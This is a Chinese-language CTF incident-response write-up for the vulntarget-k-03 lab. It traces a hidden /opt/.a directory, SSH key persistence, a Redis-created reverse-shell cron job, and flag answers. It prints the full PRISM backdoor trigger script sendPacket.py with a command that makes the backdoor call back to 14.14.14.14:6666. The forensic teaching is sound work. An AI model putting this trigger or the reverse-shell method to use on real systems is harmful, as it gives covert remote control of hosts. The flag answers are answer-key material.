应急响应-vulntarget-k-03
这里通过history查看历史命令看到在这里进入了/opt下面创建了一个隐藏文件 .a 我们跟跟踪过去看看
在这里有个程序start.sh 看
这个隐藏目录下面有一个sendPacket.py
./sendPacket.py 192.168.0.1 edisec-penguin 14.14.14.14 6666
root@ip-10-0-10-4:/opt/.a# cat sendPacket.py
#!/usr/bin/env python
"""* PRISM packet sender* * Copyright (C) 2010-2013 Andrea Fabrizi <andrea.fabrizi@gmail.com>** This program is free software; you can redistribute it and/or modify* it under the terms of the GNU General Public License as published by* the Free Software Foundation; either version 2 of the License, or* (at your option) any later version.** This program is distributed in the hope that it will be useful,* but WITHOUT ANY WARRANTY; without even the implied warranty of* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the* GNU General Public License for more details.** You should have received a copy of the GNU General Public License* along with this program; if not, write to the Free Software* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.*
"""import os
import sys
import socket
import struct
import select
import timeICMP_ECHO_REQUEST = 8def icmp_send(dest_addr, key, reverse_addr, reverse_port):icmp = socket.getprotobyname("icmp")try:my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp)except socket.error, (errno, msg):if errno == 1:msg = msg + "This program must be run with root privileges."raise socket.error(msg)raisepkt_id = 0xABCDdest_addr = socket.gethostbyname(dest_addr)pkt_checksum = 55555command = key + " " + reverse_addr + " " + reverse_port # Make a dummy heder with a fake checksum.header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, pkt_checksum, pkt_id, 1)bytesInDouble = struct.calcsize("d")data = command + " " + (192 - bytesInDouble - len(command) - 1) * "Q"packet = header + datamy_socket.sendto(packet, (dest_addr, 1))my_socket.close()def usage(name):print "Usage:\n\t%s [DESTINATION_ADDRESS] [KEY] [REVERSE_ADDRESS] [REVERSE_PORT]" % nameexit(1)if __name__ == '__main__':args = sys.argvif len(args) != 5:usage(args[0])icmp_send(args[1], args[2], args[3], args[4])
这个 sendPacket.py
是个向指定主机发送自造 ICMP(ping)数据包的工具,它把三段信息(KEY
、REVERSE_ADDRESS
、REVERSE_PORT
)拼成 ICMP payload 发出去——常见于隐蔽 C2 / 触发反弹连接或作为隐蔽信道发送命令/回连信息。它需要 root 权限(使用 raw socket)。
打开一个 raw socket(socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)
),因此必须以 root 运行。
构造一个 ICMP Echo Request 报文(type=8),用自定义 header(struct.pack("bbHHh", ...)
)和 payload。
payload 内容是:key + " " + reverse_addr + " " + reverse_port
,后面填充 Q
以凑到一定长度。
把整个 packet 发给目标地址(sendto(packet, (dest_addr, 1))
)。
用法示例:
./sendPacket.py <目标IP> <key> <回连IP> <回连端口>
./sendPacket.py 192.168.0.1 edisec-penguin 14.14.14.14 6666
源代码头注释写着 “PRISM packet sender” —— 很可能是为隐蔽通信或控制僵尸机而写的工具
而那个start.sh就是那个启动文件
在/var/log下面发现了 redis.log数据库并且时间格式是符合题目日期的我们看看这个数据库日志里面有什么信息
没有什么有用的信息查看一下 /root/.viminfo
/root/.viminfo
是 Vim 用来保存 会话持久化数据(session/history) 的文件 —— 它记录了你上次使用 Vim 时的一些状态,以便下次打开时能恢复或方便重复使用。
当 root 用 Vim 编辑文件时,Vim 会把命令历史、寄存器内容、搜索历史、文件标记、上次光标位置等写入/root/.viminfo
,下次打开 Vim 就可以恢复这些信息。
系统上有人(root)用 vim
编辑过 /opt/.a/start.sh
、/opt/.a/prism.c
、/etc/ssh/sshd_config
、/etc/redis/redis.conf
等文件。
.viminfo
中的行号和时间戳可以帮助你还原入侵路径、时间点和修改过的文件位置。
说明你最近编辑过 /etc/ssh/sshd_config
光标大概停留在第 14 行第 8 列,这说明黑客可能改过 SSH 登录配置 我们定位到root/.ssh/authorized_keys
去
~/.ssh/authorized_keys
是一个 存放“允许免密登录的公钥” 的文件。
也就是说:
只要某个用户的公钥被写进了你的
authorized_keys
,
那么那个人就可以不用密码直接 SSH 登录你的账户
用户 | 文件路径 |
---|---|
root 用户 | /root/.ssh/authorized_keys |
普通用户 (如 zss) | /home/zss/.ssh/authorized_keys |
可以看到ID在最后面
flag{penguin}
这个.ssh文件的最后修改日期在2024年3月18日,/var/spool/cron查看计划任务,
发现有以redis创建的反弹shell的计划任务,结合.ssh修改日期在2024年3月18日和redis.log的日期,定位到这一天日志里DB loaded from disk时间就是黑客最后攻击时间
“
DB loaded from disk
表示 Redis 从磁盘加载了 RDB 快照到内存(通常在启动或恢复时)。在入侵分析中,这条日志是判断“何时发生写入/恢复/重启”的重要线索,尤其当你怀疑攻击者通过 Redis 写入authorized_keys
或其他文件时,配合文件 mtime 可以准确定位攻击时间点。**
回到/opt/.a下面key写在sh里面
edisec-penguin
就是 PRISM 后门在 ICMP 模式下的 key
(激活密码)。攻击者把它放在 ICMP 包的载荷里,用来告诉受害机“我是合法操作者,开始反连到这个 IP:PORT”。sendPacket.py
的参数顺序是:
./sendPacket.py <目标被控机IP> <KEY> <回连IP> <回连端口>
所以你那条命令:
./sendPacket.py 192.168.0.1 edisec-penguin 14.14.14.14 6666
意思是:向 192.168.0.1
发送一个 ICMP 包,载荷里包含 edisec-penguin 14.14.14.14 6666
,后门收到后如果 key 匹配就会连接回 14.14.14.14:6666
。
上题里面从start.sh可知回连端口和IP为
flag{14.14.14.14}
1、通过本地 PC SSH到服务器并且找到黑客最后攻击的时间,将黑客最后攻击的时间作为 FLAG 提交(flag{432:M 18 Mar 2022 13:02:01.254});
flag{432:M 18 Mar 2024 12:03:09.854}
2、通过本地 PC SSH到服务器并且找到黑客ID 为多少,将黑客ID 作为 FLAG 提交;
flag{penguin}
3、通过本地 PC SSH到服务器并且找到黑客绕过防火墙检测所使用工具的 KEY,将找到的 KEY 作为 FLAG 提交;
flag{edisec-penguin}
4、通过本地 PC SSH到服务器并且找到黑客绕过防火墙检测所使用工具反弹 Shell 的 ip,将找到对应的 IP 作为 FLAG 提交;
flag{14.14.14.14}